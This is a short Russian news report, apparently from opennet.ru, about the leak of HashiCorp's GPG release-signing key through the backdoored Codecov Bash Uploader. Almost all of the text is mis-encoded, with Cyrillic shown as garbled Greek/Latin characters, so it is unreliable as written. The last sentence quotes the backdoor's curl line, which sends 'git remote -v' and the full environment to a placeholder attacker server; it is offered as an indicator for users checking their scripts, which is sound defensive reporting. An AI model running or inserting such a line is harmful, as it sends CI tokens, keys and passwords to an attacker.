ΠΠΎΠΌΠΏΠ°Π½ΠΈΡ HashiCorp, ΠΈΠ·Π²Π΅ΡΡΠ½Π°Ρ ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠΎΠΉ ΠΎΡΠΊΡΡΡΡΡ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠ°ΡΠΈΠ΅Π² Vagrant, Packer, Nomad ΠΈ Terraform, ΠΎΠ±ΡΡΠ²ΠΈΠ»Π° ΠΎΠ± ΡΡΠ΅ΡΠΊΠ΅ Π·Π°ΠΊΡΡΡΠΎΠ³ΠΎ GPG-ΠΊΠ»ΡΡΠ°, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΠΎΠ³ΠΎ Π΄Π»Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΡΠΈΡΡΠΎΠ²ΡΡ ΠΏΠΎΠ΄ΠΏΠΈΡΠ΅ΠΉ, Π²Π΅ΡΠΈΡΠΈΡΠΈΡΡΡΡΠΈΡ ΡΠ΅Π»ΠΈΠ·Ρ. ΠΡΠ°ΠΊΡΡΡΠΈΠ΅, ΠΏΠΎΠ»ΡΡΠΈΠ²ΡΠΈΠ΅ Π΄ΠΎΡΡΡΠΏ ΠΊ GPG-ΠΊΠ»ΡΡΡ, ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎ ΠΌΠΎΠ³Π»ΠΈ Π²Π½Π΅ΡΡΠΈ ΡΠΊΡΡΡΡΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ Π² ΠΏΡΠΎΠ΄ΡΠΊΡΡ HashiCorp, Π·Π°Π²Π΅ΡΠΈΠ² ΠΈΡ ΠΊΠΎΡΡΠ΅ΠΊΡΠ½ΠΎΠΉ ΡΠΈΡΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΠ΄ΠΏΠΈΡΡΡ. ΠΡΠΈ ΡΡΠΎΠΌ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΡ Π·Π°ΡΠ²ΠΈΠ»Π°, ΡΡΠΎ Π² Ρ ΠΎΠ΄Π΅ ΠΏΡΠΎΠ²Π΅Π΄ΡΠ½Π½ΠΎΠ³ΠΎ Π°ΡΠ΄ΠΈΡΠ° ΡΠ»Π΅Π΄ΠΎΠ² ΠΏΠΎΠΏΡΡΠΎΠΊ Π²Π½Π΅ΡΠ΅Π½ΠΈΡ ΠΏΠΎΠ΄ΠΎΠ±Π½ΡΡ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΠΉ Π½Π΅ Π²ΡΡΠ²Π»Π΅Π½ΠΎ.
Π Π½Π°ΡΡΠΎΡΡΠ΅Π΅ Π²ΡΠ΅ΠΌΡ ΡΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠΉ GPG-ΠΊΠ»ΡΡ ΠΎΡΠΎΠ·Π²Π°Π½ ΠΈ Π²ΠΌΠ΅ΡΡΠΎ Π½Π΅Π³ΠΎ Π²Π²Π΅Π΄ΡΠ½ Π² ΠΎΠ±ΠΈΡ ΠΎΠ΄ Π½ΠΎΠ²ΡΠΉ ΠΊΠ»ΡΡ. ΠΡΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°ΡΡΠΎΠ½ΡΠ»Π° ΡΠΎΠ»ΡΠΊΠΎ Π²Π΅ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ ΠΏΡΠΈ ΠΏΠΎΠΌΠΎΡΠΈ ΡΠ°ΠΉΠ»ΠΎΠ² SHA256SUM ΠΈ SHA256SUM.sig, ΠΈ Π½Π΅ ΠΊΠΎΡΠ½ΡΠ»Π°ΡΡ ΡΠΎΡΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΠΈΡΡΠΎΠ²ΡΡ ΠΏΠΎΠ΄ΠΏΠΈΡΠ΅ΠΉ Π΄Π»Ρ Linux-ΠΏΠ°ΠΊΠ΅ΡΠΎΠ² DEB ΠΈ RPM, ΠΏΠΎΡΡΠ°Π²Π»ΡΠ΅ΠΌΡΡ ΡΠ΅ΡΠ΅Π· releases.hashicorp.com, Π° ΡΠ°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΡ ΠΏΠΎΠ΄ΡΠ²Π΅ΡΠΆΠ΄Π΅Π½ΠΈΡ Π²ΡΠΏΡΡΠΊΠΎΠ² Π΄Π»Ρ macOS ΠΈ Windows (AuthentiCode).
Π£ΡΠ΅ΡΠΊΠ° ΠΏΡΠΎΠΈΠ·ΠΎΡΠ»Π° ΠΈΠ·-Π·Π° ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ Π² ΠΈΠ½ΡΡΠ°ΡΡΡΡΠΊΡΡΡΠ΅ ΡΠΊΡΠΈΠΏΡΠ° Codecov Bash Uploader (codecov-bash), ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½Π½ΠΎΠ³ΠΎ Π΄Π»Ρ Π·Π°Π³ΡΡΠ·ΠΊΠΈ coverage-ΠΎΡΡΡΡΠΎΠ² ΠΈΠ· ΡΠΈΡΡΠ΅ΠΌ Π½Π΅ΠΏΡΠ΅ΡΡΠ²Π½ΠΎΠΉ ΠΈΠ½ΡΠ΅Π³ΡΠ°ΡΠΈΠΈ. Π Ρ ΠΎΠ΄Π΅ Π°ΡΠ°ΠΊΠΈ Π½Π° ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΡ Codecov Π² ΡΠΊΠ°Π·Π°Π½Π½ΡΠΉ ΡΠΊΡΠΈΠΏΡ Π±ΡΠ» ΡΠΊΡΡΡΠΎ Π²Π½Π΅Π΄ΡΡΠ½ Π±ΡΠΊΠ΄ΠΎΡ, ΡΠ΅ΡΠ΅Π· ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ»Π° ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Π° ΠΎΡΠΏΡΠ°Π²ΠΊΠ° ΠΏΠ°ΡΠΎΠ»Π΅ΠΉ ΠΈ ΠΊΠ»ΡΡΠ΅ΠΉ ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈΡ Π½Π° ΡΠ΅ΡΠ²Π΅Ρ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ².
ΠΠ»Ρ Π²Π·Π»ΠΎΠΌΠ° Π°ΡΠ°ΠΊΡΡΡΠΈΠ΅ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΠΈΡΡ ΠΎΡΠΈΠ±ΠΊΠΎΠΉ Π² ΠΏΡΠΎΡΠ΅ΡΡΠ΅ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ Docker-ΠΎΠ±ΡΠ°Π·Π° Codecov, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²ΡΠ΅ΠΉ ΠΈΠ·Π²Π»Π΅ΡΡ Π΄Π°Π½Π½ΡΠ΅ Π΄Π»Ρ Π΄ΠΎΡΡΡΠΏΠ° ΠΊ GCS (Google Cloud Storage), Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΡΠ΅ Π΄Π»Ρ Π²Π½Π΅ΡΠ΅Π½ΠΈΡ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² ΡΠΊΡΠΈΠΏΡ Bash Uploader, ΡΠ°ΡΠΏΡΠΎΡΡΡΠ°Π½ΡΠ²ΡΠΈΠΉΡΡ Ρ ΡΠ°ΠΉΡΠ° codecov.io. ΠΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ Π±ΡΠ»ΠΈ Π²Π½Π΅ΡΠ΅Π½Ρ Π΅ΡΡ 31 ΡΠ½Π²Π°ΡΡ, Π΄Π²Π° ΠΌΠ΅ΡΡΡΠ° ΠΎΡΡΠ°Π²Π°Π»ΠΈΡΡ Π½Π΅Π·Π°ΠΌΠ΅ΡΠ΅Π½Π½ΡΠΌΠΈ ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ»ΠΈ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΠΈΠ·Π²Π»Π΅ΠΊΠ°ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ, Ρ ΡΠ°Π½ΠΈΠΌΡΡ Π² ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΡΡ ΡΠΈΡΡΠ΅ΠΌ Π½Π΅ΠΏΡΠ΅ΡΡΠ²Π½ΠΎΠΉ ΠΈΠ½ΡΠ΅Π³ΡΠ°ΡΠΈΠΈ ΠΊΠ»ΠΈΠ΅Π½ΡΠΎΠ². ΠΡΠΈ ΠΏΠΎΠΌΠΎΡΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ ΡΠ΅ΡΡΠΈΡΡΠ΅ΠΌΠΎΠΌ Git-ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΈ ΠΈ Π²ΡΠ΅Ρ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΡ, Π² ΡΠΎΠΌ ΡΠΈΡΠ»Π΅ Π²ΠΊΠ»ΡΡΠ°ΡΡΠΈΡ ΡΠΎΠΊΠ΅Π½Ρ, ΠΊΠ»ΡΡΠΈ ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈΡ ΠΈ ΠΏΠ°ΡΠΎΠ»ΠΈ, ΠΏΠ΅ΡΠ΅Π΄Π°Π²Π°Π΅ΠΌΡΠ΅ Π² ΡΠΈΡΡΠ΅ΠΌΡ Π½Π΅ΠΏΡΠ΅ΡΡΠ²Π½ΠΎΠΉ ΠΈΠ½ΡΠ΅Π³ΡΠ°ΡΠΈΠΈ Π΄Π»Ρ ΠΎΡΠ³Π°Π½ΠΈΠ·Π°ΡΠΈΠΈ Π΄ΠΎΡΡΡΠΏΠ° ΠΊ ΠΊΠΎΠ΄Ρ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ°ΠΌ ΠΈ ΡΠ΅ΡΠ²ΠΈΡΠ°ΠΌ, ΡΠ°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ Amazon Web Services ΠΈ GitHub.
ΠΡΠΎΠΌΠ΅ ΠΏΡΡΠΌΠΎΠ³ΠΎ Π²ΡΠ·ΠΎΠ²Π° ΡΠΊΡΠΈΠΏΡ Codecov Bash Uploader ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΡΡ Π² ΡΠΎΡΡΠ°Π²Π΅ Π΄ΡΡΠ³ΠΈΡ
Π·Π°Π³ΡΡΠ·ΡΠΈΠΊΠΎΠ², ΡΠ°ΠΊΠΈΡ
ΠΊΠ°ΠΊ Codecov-action (Github), Codecov-circleci-orb ΠΈ Codecov-bitrise-step, ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΠΈ ΠΊΠΎΡΠΎΡΡΡ
ΡΠ°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π²Π΅ΡΠΆΠ΅Π½Ρ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ΅. ΠΡΠ΅ΠΌ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΠΌ codecov-bash ΠΈ ΡΠ²ΡΠ·Π°Π½Π½ΡΡ
Ρ Π½ΠΈΠΌ ΠΏΡΠΎΠ΄ΡΠΊΡΠΎΠ² ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½ΠΎ ΠΏΡΠΎΠ²Π΅ΡΡΠΈ Π°ΡΠ΄ΠΈΡ ΡΠ²ΠΎΠΈΡ
ΠΈΠ½ΡΡΠ°ΡΡΡΡΠΊΡΡΡ, Π° ΡΠ°ΠΊΠΆΠ΅ ΠΆΠ΅ ΠΏΠΎΠΌΠ΅Π½ΡΡΡ ΠΏΠ°ΡΠΎΠ»ΠΈ ΠΈ ΠΊΠ»ΡΡΠΈ ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈΡ. ΠΡΠΎΠ²Π΅ΡΠΈΡΡ Π½Π°Π»ΠΈΡΠΈΠ΅ Π±ΡΠΊΠ΄ΠΎΡΠ° Π² ΡΠΊΡΠΈΠΏΡΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎ Π½Π°Π»ΠΈΡΠΈΡ Π² Π½ΡΠΌ ΡΡΡΠΎΠΊΠΈ curl -sm 0.5 -d «$(git remote -v)<<<<<< ENV $(env)» http://<IP-ΡΠ΅ΡΠ²Π΅ΡΠ°-Π°ΡΠ°ΠΊΡΡΡΠΈΡ
>/upload/v2 || true
ΠΡΡΠΎΡΠ½ΠΈΠΊ: opennet.ru